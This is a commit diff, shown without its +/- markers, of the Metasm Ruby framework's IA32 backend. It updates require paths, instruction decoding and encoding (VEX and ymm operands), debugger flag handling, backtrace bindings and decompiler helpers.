class Metasm::Ia32 < Metasm::CPU
end
require 'metasm/main'
require 'metasm/cpu/ia32/parse'
require 'metasm/cpu/ia32/encode'
require 'metasm/cpu/ia32/decode'
require 'metasm/cpu/ia32/render'
require 'metasm/cpu/ia32/compile_c'
require 'metasm/cpu/ia32/decompile'
require 'metasm/cpu/ia32/debug'

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/parse'
require 'metasm/cpu/ia32/parse'
require 'metasm/compile_c'
module Metasm
@ -505,8 +505,8 @@ class CCompiler < C::Compiler
if r.sz == 64
get_composite_parts(r).reverse_each { |rp| instr 'push', rp }
else
instr 'push', r
end
instr 'push', r
end
end
when Composite
instr 'push', r.high
@ -527,7 +527,7 @@ class CCompiler < C::Compiler
if expr.rexpr.type.specifier == :unsigned and r.sz == 64
label = new_label('unsign_float')
if m.sz == 64 and @cpusz < 64
foo, m = get_composite_parts m
m = get_composite_parts(m)[1]
end
m2 = m
m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM
@ -637,7 +637,7 @@ class CCompiler < C::Compiler
# both sides are already cast to the same type by the precompiler
# XXX expr.type.pointer?
if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and
typesize[expr.lexpr.type.name] == typesize[:ptr]
typesize[expr.lexpr.type.name] == typesize[:ptr]
expr.lexpr.type.name = :ptr
end
l = c_cexpr_inner(expr.lexpr)
@ -711,6 +711,7 @@ class CCompiler < C::Compiler
end
when :-
r = c_cexpr_inner(expr.rexpr)
r = resolve_address r if r.kind_of? Address
if r.kind_of? Expression
unuse l, r
l = Address.new(l.modrm.dup)
@ -1077,6 +1078,7 @@ class CCompiler < C::Compiler
when 'add', 'sub', 'and', 'or', 'xor'
r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM
unuse r
r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [eax], bl
instr op, l, r
when 'shr', 'sar', 'shl'
if r.kind_of? Expression
@ -1249,7 +1251,7 @@ class CCompiler < C::Compiler
instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1
unuse ecx
unuse r
unuse r
end
when 'mul'
# high = (low1*high2) + (high1*low2) + (low1*low2).high
@ -1377,7 +1379,7 @@ class CCompiler < C::Compiler
instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0
end
when Reg
instr 'mov', Reg.new(0, r.sz), r if r.val != 0
instr 'mov', Reg.new(0, r.sz), r if r.val != 0
when FpReg
instr 'fld', FpReg.new(r.val) if r.val and r.val != 0
end
@ -1475,17 +1477,17 @@ class CCompiler < C::Compiler
end
f = @state.func
if f.has_attribute('stdcall') or f.has_attribute('fastcall')
al = typesize[:ptr]
al = typesize[:ptr]
fa = f.type.args.dup
2.times { fa.shift } if f.has_attribute('fastcall')
argsz = fa.inject(0) { |sum, a|
(a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al
}
if argsz > 0
instr 'ret', Expression[argsz]
else
instr 'ret'
end
instr 'ret', Expression[argsz]
else
instr 'ret'
end
else
instr 'ret'
end
@ -1509,10 +1511,6 @@ class CCompiler < C::Compiler
#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser }
#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source }
end
def check_reserved_name(var)
Reg.s_to_i[var.name]
end
end
def new_ccompiler(parser, exe=ExeFormat.new)

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/opcodes'
require 'metasm/cpu/ia32/opcodes'
module Metasm
class Ia32
@ -18,7 +18,7 @@ class Ia32
@dbg_register_flags ||= :eflags
end
def dbg_register_list
def dbg_register_list
@dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip]
end
@ -46,10 +46,10 @@ class Ia32
end
def dbg_enable_singlestep(dbg)
dbg_set_flag(dbg, :t)
dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0
end
def dbg_disable_singlestep(dbg)
dbg_unset_flag(dbg, :t)
dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0
end
def dbg_enable_bp(dbg, bp)
@ -113,20 +113,20 @@ class Ia32
if dbg[:dr6] == 0 and dbg[:dr7] == 0
dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0
end
dbg[:dr6] = 0
dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0
end
def dbg_evt_bpx(dbg, b)
if b.address == dbg.pc-1
dbg.pc -= 1
end
end
end
def dbg_find_bpx(dbg)
return if dbg[:dr6] & 0x4000 != 0
pc = dbg.pc
dbg.breakpoint[pc-1] || dbg.breakpoint[pc]
end
end
def dbg_find_hwbp(dbg)
dr6 = dbg[:dr6]

View File

@ -4,13 +4,13 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/opcodes'
require 'metasm/cpu/ia32/opcodes'
require 'metasm/decode'
module Metasm
class Ia32
class ModRM
def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg)
def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {})
m = (byte >> 6) & 3
rm = byte & 7
@ -28,7 +28,11 @@ class Ia32
b = Reg.new(a, adsz)
else
s = 1
i = Reg.new(a, adsz)
if h[:mrmvex]
i = SimdReg.new(a, h[:mrmvex])
else
i = Reg.new(a, adsz)
end
end
when :sib
@ -37,7 +41,11 @@ class Ia32
ii = ((sib >> 3) & 7)
if ii != 4
s = 1 << ((sib >> 6) & 3)
i = Reg.new(ii, adsz)
if h[:mrmvex]
i = SimdReg.new(ii, h[:mrmvex])
else
i = Reg.new(ii, adsz)
end
end
bb = sib & 7
@ -52,11 +60,12 @@ class Ia32
end
}
if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000
if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i))
# probably a base address -> unsigned
imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)]
end
opsz = h[:argsz] if h[:argsz]
new adsz, opsz, s, i, b, imm, seg
end
end
@ -90,18 +99,19 @@ class Ia32
msk = op.bin_mask[0]
for i in b..(b | (255^msk))
next if i & msk != b & msk
lookaside[i] << op
lookaside[i] << op if i & msk == b & msk
end
}
lookaside
end
def decode_prefix(instr, byte)
# XXX check multiple occurences ?
instr.prefix ||= {}
(instr.prefix[:list] ||= []) << byte
# XXX actual limit = 15-instr.length
return false if instr.prefix[:list].length >= 15
case byte
when 0x66; instr.prefix[:opsz] = true
when 0x67; instr.prefix[:adsz] = true
@ -115,8 +125,6 @@ class Ia32
v = byte & 7
end
instr.prefix[:seg] = SegReg.new(v)
instr.prefix[:jmphint] = ((byte & 0x10) == 0x10)
else
return false
end
@ -131,11 +139,10 @@ class Ia32
while edata.ptr < edata.data.length
pfx = di.instruction.prefix || {}
byte = edata.data[edata.ptr]
byte = byte.unpack('C').first if byte.kind_of? ::String # 1.9
byte = byte.unpack('C').first if byte.kind_of?(::String)
return di if di.opcode = @bin_lookaside[byte].find { |op|
# fetch the relevant bytes from edata
bseq = edata.data[edata.ptr, op.bin.length].unpack('C*')
di.opcode = op if op.props[:opsz] # needed by opsz(di)
# check against full opcode mask
op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and
@ -145,12 +152,17 @@ class Ia32
(fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or
(fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or
(fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or
(fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
(sz = op.props[:opsz] and opsz(di) != sz) or
(op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
(op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or
(fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or
(sz = op.props[:opsz] and opsz(di, op) != sz) or
(sz = op.props[:adsz] and adsz(di, op) != sz) or
(ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or
(pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or
# return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb
(pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or
(pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size)
(pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or
(pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or
(op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b])
)
}
@ -172,39 +184,50 @@ class Ia32
when 0xF2, 0xF3; pfx.delete :rep
end
if op.props[:setip] and not op.props[:stopexec] and pfx[:seg]
case pfx.delete(:seg).val
when 1; pfx[:jmphint] = 'hintnojmp'
when 3; pfx[:jmphint] = 'hintjmp'
end
end
field_val = lambda { |f|
if fld = op.fields[f]
(bseq[fld[0]] >> fld[1]) & @fields_mask[f]
end
}
opsz = opsz(di)
opsz = op.props[:argsz] || opsz(di)
adsz = (pfx[:adsz] ? 48 - @size : @size)
if pfx[:adsz]
adsz = 48 - @size
else
adsz = @size
end
mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
op.args.each { |a|
di.instruction.args << case a
when :reg; Reg.new field_val[a], opsz
when :eeec; CtrlReg.new field_val[a]
when :eeed; DbgReg.new field_val[a]
when :eeet; TstReg.new field_val[a]
when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a]
when :regfp; FpReg.new field_val[a]
when :regmmx; SimdReg.new field_val[a], mmxsz
when :regxmm; SimdReg.new field_val[a], 128
when :regymm; SimdReg.new field_val[a], 256
when :farptr; Farptr.decode edata, @endianness, opsz
when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)]
when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)]
when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg]
when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg]
when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg
when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg
when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg)
when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg)
when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz]
when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz)
when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128)
when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256)
when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128)
when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256)
when :imm_val1; Expression[1]
when :imm_val3; Expression[3]
@ -218,6 +241,8 @@ class Ia32
di.bin_length += edata.ptr - before_ptr
return false if edata.ptr > edata.length
if op.name == 'movsx' or op.name == 'movzx'
if di.opcode.props[:argsz] == 8
di.instruction.args[1].sz = 8
@ -229,9 +254,10 @@ class Ia32
else
di.instruction.args[0].sz = @size
end
elsif op.name == 'crc32'
di.instruction.args[0].sz = 32
end
pfx.delete :seg
case pfx.delete(:rep)
when :nz
if di.opcode.props[:strop]
@ -254,7 +280,7 @@ class Ia32
# adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length
# do not call twice on the same di !
def decode_instr_interpret(di, addr)
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret'
if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/
delta = di.instruction.args.last.reduce
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
di.instruction.args[-1] = Expression[arg]
@ -303,11 +329,16 @@ class Ia32
end
def backtrace_binding=(b) @backtrace_binding = b end
def opsz(di)
ret = @size
ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz]
ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz]
ret
def opsz(di, op=nil)
if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size
else @size
end
end
def adsz(di, op=nil)
if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size
else @size
end
end
# populate the @backtrace_binding hash with default values
@ -315,13 +346,20 @@ class Ia32
@backtrace_binding ||= {}
eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols
ebx = ebx
mask = lambda { |di| (1 << opsz(di))-1 } # 32bits => 0xffff_ffff
sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] }
opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
binding = case op
when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
when 'movsx', 'movsxd'
lambda { |di, a0, a1|
sz1 = di.instruction.args[1].sz
sign1 = Expression[[a1, :>>, sz1-1], :&, 1]
{ a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] }
}
when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } }
when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } }
when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb'
@ -360,7 +398,7 @@ class Ia32
when 'pop'
lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8],
a0 => Indirection[esp, opsz(di)/8, di.address] } }
when 'pushfd'
when 'pushfd', 'pushf'
# TODO Unknown per bit
lambda { |di|
efl = Expression[0x202]
@ -370,8 +408,8 @@ class Ia32
bts[7, :eflag_s]
bts[11, :eflag_o]
{ esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl }
}
when 'popfd'
}
when 'popfd', 'popf'
lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] }
{ esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } }
when 'sahf'
@ -409,9 +447,25 @@ class Ia32
ret
}
when 'call'
lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8],
Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } }
lambda { |di, a0|
sz = opsz(di)/8
if a0.kind_of? Farptr
{ esp => Expression[esp, :-, 2*sz],
Indirection[esp, sz, di.address] => Expression[di.next_addr],
Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown }
else
{ esp => Expression[esp, :-, sz],
Indirection[esp, sz, di.address] => Expression[di.next_addr] }
end
}
when 'callf'
lambda { |di, a0|
sz = opsz(di)/8
{ esp => Expression[esp, :-, 2*sz],
Indirection[esp, sz, di.address] => Expression[di.next_addr],
Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } }
when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } }
when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } }
when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } }
when 'enter'
lambda { |di, a0, a1|
@ -424,7 +478,7 @@ class Ia32
(1..depth).each { |i|
b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] =
b[Indirection[[ebp, :-, i*sz], sz, di.address]] =
Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
}
b
}
@ -432,18 +486,43 @@ class Ia32
when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } }
when 'imul'
lambda { |di, *a|
# 1 operand form == same as 'mul' (ax:dx stuff)
next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1]
if not a[1]
# 1 operand from: store result in edx:eax
bd = {}
m = mask[di]
s = opsz(di)
e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)]
if s == 8
bd[Expression[eax, :&, 0xffff]] = e
else
bd[Expression[eax, :&, m]] = Expression[e, :&, m]
bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m]
end
# XXX eflags?
next bd
end
if a[2]; e = Expression[a[1], :*, a[2]]
else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1]
end
{ a[0] => e }
}
when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
when 'mul'
lambda { |di, *a|
m = mask[di]
e = Expression[a, :*, [eax, :&, m]]
if opsz(di) == 8
{ Expression[eax, :&, 0xffff] => e }
else
{ Expression[eax, :&, m] => Expression[e, :&, m],
Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] }
end
}
when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
when /^(stos|movs|lods|scas|cmps)[bwd]$/
lambda { |di|
lambda { |di, *a|
next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm) # XXX movsd xmm0, xmm1...
op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/
e_op = $1
sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2]
@ -503,7 +582,7 @@ class Ia32
ret
}
when 'fstenv', 'fnstenv'
lambda { |di, a0|
lambda { |di, a0|
# stores the address of the last non-control fpu instr run
lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi|
case pdi.opcode.name
@ -532,7 +611,8 @@ class Ia32
a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } }
when 'bswap'
lambda { |di, a0|
if opsz(di) == 64
case opsz(di)
when 64
{ a0 => Expression[
[[[[a0, :&, 0xff000000_00000000], :>>, 56], :|,
[[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|,
@ -542,12 +622,15 @@ class Ia32
[[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|,
[[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|,
[[a0, :&, 0x00000000_000000ff], :<<, 56]]]] }
else # XXX opsz != 32 => undef
when 32
{ a0 => Expression[
[[[a0, :&, 0xff000000], :>>, 24], :|,
[[a0, :&, 0x00ff0000], :>>, 8]], :|,
[[[a0, :&, 0x0000ff00], :<<, 8], :|,
[[a0, :&, 0x000000ff], :<<, 24]]] }
when 16
# bswap ax => mov ax, 0
{ a0 => 0 }
end
}
when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} }
@ -672,6 +755,30 @@ class Ia32
end
end
# patch a forward binding from the backtrace binding
# fixes fwdemu for push/pop/call/ret
def fix_fwdemu_binding(di, fbd)
if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ }
fbd = fbd.dup
fbd[:incomplete_binding] = Expression[1]
end
case di.opcode.name
when 'push', 'call'
fbd = fbd.dup
sz = opsz(di)/8
esp = register_symbols[4]
if i = fbd.delete(Indirection[esp, sz])
fbd[Indirection[[esp, :-, sz], sz]] = i
end
when 'pop', 'ret' # nothing to do
when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/
fbd = fbd.dup
fbd[:incomplete_binding] = Expression[1] # TODO
end
fbd
end
def get_xrefs_x(dasm, di)
return [] if not di.opcode.props[:setip]
@ -680,8 +787,8 @@ class Ia32
when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]]
when 'jmp', 'call'
a = di.instruction.args.first
if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm)
return get_xrefs_x_jmptable(dasm, di, a, sz)
if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm)
return get_xrefs_x_jmptable(dasm, di, a, a.s*8)
end
end
@ -721,6 +828,19 @@ class Ia32
}
l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref')
replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l])
# add 'case 1' comments
cases = {}
ret.each_with_index { |ind, idx|
idx -= 1 # ret[0] = symbolic
next if idx < 0
a = dasm.backtrace(ind, di.address)
if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer)
(cases[addr] ||= []) << idx
end
}
cases.each { |addr, list|
dasm.add_comment(addr, "case #{list.join(', ')}:")
}
return ret
end
@ -732,7 +852,7 @@ class Ia32
s = dasm.get_section_at(mrm.imm)
v = 0
end
loop do
while s[0].ptr < s[0].length
ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness)
diff = Expression[ptr, :-, di.address].reduce
if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr))
@ -1161,5 +1281,46 @@ class Ia32
binding
end
# trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX
def name_local_vars(dasm, funcaddr)
esp = register_symbols[4]
func = dasm.function[funcaddr]
subs = []
dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace|
next if r.to_s =~ /flag/
if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars }
subs << [trace[esp], dasm.function[tf].localvars]
end
di.instruction.args.grep(ModRM).each { |mrm|
b = mrm.b || (mrm.i if mrm.s == 1)
# its a modrm => b is read, so ignore r/off (not yet applied), use trace only
stackoff = trace[b.symbolic] if b
next if not stackoff
imm = mrm.imm || Expression[0]
frameoff = imm + stackoff
if frameoff.kind_of?(::Integer)
# XXX register args ? non-ABI standard register args ? (eg optimized x64)
str = 'var_%X' % (-frameoff)
str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0
str = func.get_localvar_stackoff(frameoff, di, str) if func
imm = imm.expr if imm.kind_of?(ExpressionString)
mrm.imm = ExpressionString.new(imm, str, :stackvar)
end
}
off = off.reduce if off.kind_of?(Expression)
next unless off.kind_of?(Integer)
off
}
# if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0
if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] }
func.localvars.each { |varoff, varname|
subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact
if subargnames.uniq.length == 1
varname.replace 'sub'+subargnames[0]
end
}
end
end
end
end

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/main'
require 'metasm/cpu/ia32/main'
module Metasm
class Ia32
@ -52,7 +52,7 @@ class Ia32
# returns { blockaddr => [list of vars that are needed by a following block] }
def decompile_func_finddeps(dcmp, blocks, func)
deps_r = {} ; deps_w = {} ; deps_to = {}
deps_subfunc = {} # things read/written by subfuncs
deps_subfunc = {} # things read/written by subfuncs
# find read/writes by each block
blocks.each { |b, to|
@ -70,7 +70,7 @@ class Ia32
end
}
a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI
deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b]
deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
}
@ -121,7 +121,7 @@ class Ia32
end
}
a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI
next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r
bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
false
@ -290,7 +290,7 @@ class Ia32
# mov cr0 etc
a1, a2 = di.instruction.args
case a1
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32
if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"]
dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});")
@ -302,7 +302,7 @@ class Ia32
next
end
case a2
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"]
sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32
dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);")
@ -369,7 +369,7 @@ class Ia32
# to.delete addr
# next if not l = dcmp.dasm.get_label_at(addr)
# sw.body.statements << C::Goto.new(l)
# }
# }
# stmts << sw
a = di.instruction.args.first
if a.kind_of? Expression
@ -512,9 +512,9 @@ class Ia32
dcmp.dasm.decoded[b_].block.list.each { |di|
di.backtrace_binding = nil
}
}
}
end
def decompile_check_abi(dcmp, entry, func)
a = func.type.args || []
a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') }

View File

@ -4,7 +4,7 @@
# Licence is LGPL, see LICENCE in the top-level directory
require 'metasm/ia32/opcodes'
require 'metasm/cpu/ia32/opcodes'
require 'metasm/encode'
module Metasm
@ -195,27 +195,28 @@ class Ia32
case k
when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v]
when :lock; 0xf0
when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO
when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v]
when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v]
when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val]
end
}.compact.pack 'C*'
pfx << op.props[:needpfx] if op.props[:needpfx]
if op.name == 'movsx' or op.name == 'movzx'
pfx << 0x66 if size == 48-i.args[0].sz
elsif op.name == 'crc32'
pfx << 0x66 if size == 48-i.args[1].sz
else
opsz = op.props[:argsz]
oi.each { |oa, ia|
case oa
when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm
when :reg, :reg_eax, :modrm, :mrm_imm
raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz
opsz = ia.sz
end
}
pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and (
(opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size))
if op.props[:opsz] and size == 48 - op.props[:opsz]
opsz = op.props[:opsz]
end
pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or
(not op.props[:argsz] and opsz and size == 48 - opsz)
opsz ||= op.props[:opsz]
end
opsz ||= size
@ -226,7 +227,7 @@ class Ia32
adsz ||= size
# addrsize override / segment override
if mrm = i.args.grep(ModRM).first
if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or (mrm.i and mrm.i.sz != adsz))
if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz))
pfx << 0x67
adsz = 48 - adsz
end
@ -240,10 +241,12 @@ class Ia32
postponed = []
oi.each { |oa, ia|
case oa
when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm
when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm
# field arg
set_field[oa, ia.val]
pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128
when :vexvreg, :vexvxmm, :vexvymm
